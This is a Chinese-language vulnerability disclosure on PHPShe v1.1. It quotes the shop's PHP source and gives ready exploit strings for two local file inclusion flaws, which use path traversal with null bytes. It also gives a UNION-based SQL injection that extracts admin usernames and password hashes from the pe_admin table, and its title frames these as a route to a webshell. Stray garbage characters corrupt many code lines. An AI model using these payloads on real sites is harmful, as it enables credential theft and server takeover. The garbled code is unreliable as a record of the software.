phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
4 ]) r- `/ `2 S: {8 W/* Phpshe v1.1 Vulnerability
+ o4 a, R: [" x1 o" w/* ========================
. E& Q: J/ x. |/ R, Y, @( B/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/ T* `+ K4 K9 ?# \( Q, Z# c; f' d4 [/*******************************************************/
+ G- U" `% s' i$ t+ q: ^2 Y2 J6 G0×00 整体大概参数传输

5 Y; J$ e1 o3 M: f7 ^
1 W: E! z* d, w' u: j# C
6 ?$ L  l% M. Q. n+ i//common.php
8 X% y: H2 H% N; mif (get_magic_quotes_gpc()) {
0 D1 ~! Z  d. r. Y) U7 v!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
' `- k- ~1 V  c2 Y6 B1 w; R& g!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
" Y" f1 ~4 Z( t& C" U8 t- K: Q8 ?* g}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
# M2 V, v- y8 V!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

+ q  O6 r3 D" t# a2 a4 Y0×01 包含漏洞
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+ a- F& I: A% O& t+ ~
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 [& g: _& j4 N5 @include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
# _& r8 C; N6 N- Z; ~2 E. R//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

<code id="code2">

//product.php文件
+ @1 C1 t) _  m. kcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
+ M) e+ i, l# c) |% f//搜索
6 f. {: a) v  e4 {) b- z$ Q4 x$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
0 Y8 F# W: P, w" y, Kif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
9 z$ u' p" y/ u( O3 Z1 I, [$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
& u# f+ V, n6 `$ i$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) A& A* I8 y: P& C" p7 Y) O8 z}
8 W+ `' u  ]4 R+ r) ielse {
0 B, O: j  o7 L' ^$sqlwhere .= " order by `product_id` desc";
+ F* |9 _8 \" r; S* x3 q}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
  U# K, ?- I- w! y$product_hotlist = product_hotlist();
//当前路径
9 p. A5 T+ Y: c' k8 x3 Q$ y' ~. O$nowpath = category_path($category_id);
2 c" F4 T9 C" m8 ?0 P( O$seo = pe_seo($info['category_name']);
4 v& z1 w/ V% q- h! w1 V6 G; ainclude(pe_tpl('product_list.html'));
//跟进selectall函数库
# p0 J4 R0 `8 Y4 a6 g( p! spublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
  B  y$ J& e; G6 j6 |6 _/ M{
//处理条件语句
# m$ R/ j, v- ^: Z! u# `. m$sqlwhere = $this->_dowhere($where);
0 [2 ?# d0 R% D* Y. q) }5 d+ Sreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 A0 I. Z+ G$ G' c) O  p}
/ g3 W. B. T2 }! W8 x6 @# `//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
# U2 e4 d5 m/ Y- F. }5 ~; `

</code>
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$ r' ?4 f) O9 p' g  {5 r6 O# x0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

, [8 o! h! K; B+ C# l: r# p( Y" P$order_id = pe_dbhold($_g_id);

( E$ R. e. A2 C* O$cache_payway = cache::get('payway');

0 y' A* i0 k; B7 g5 \6 S  d9 iforeach($cache_payway as $k => $v) {

9 k  ~) F1 c: Y; I% [$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

& v" n* D# v0 D+ i9 W+ P. v: P' V* V$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

. O( T5 I6 P( u; ^!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- P3 f6 l* s7 s$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

8 w( e* B5 d8 H2 G$order['order_name'] .= "{$v['product_name']};";
+ Q6 ^- C5 e( S/ F& V% {

6 G, L: b* W" j$ @}

echo '正在为您连接支付网站，请稍后...';

, A, i9 h/ }4 Finclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

6 o( C- _$ i* k$ z. ?}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

1 @) O6 m9 P6 h6 d+ s6 jpe_error('支付错误...');

}

}

( Q( a9 @' }: z$seo = pe_seo('选择支付方式');

- ]) W1 ]+ R9 p1 @" F& X/ l2 Z6 k; Iinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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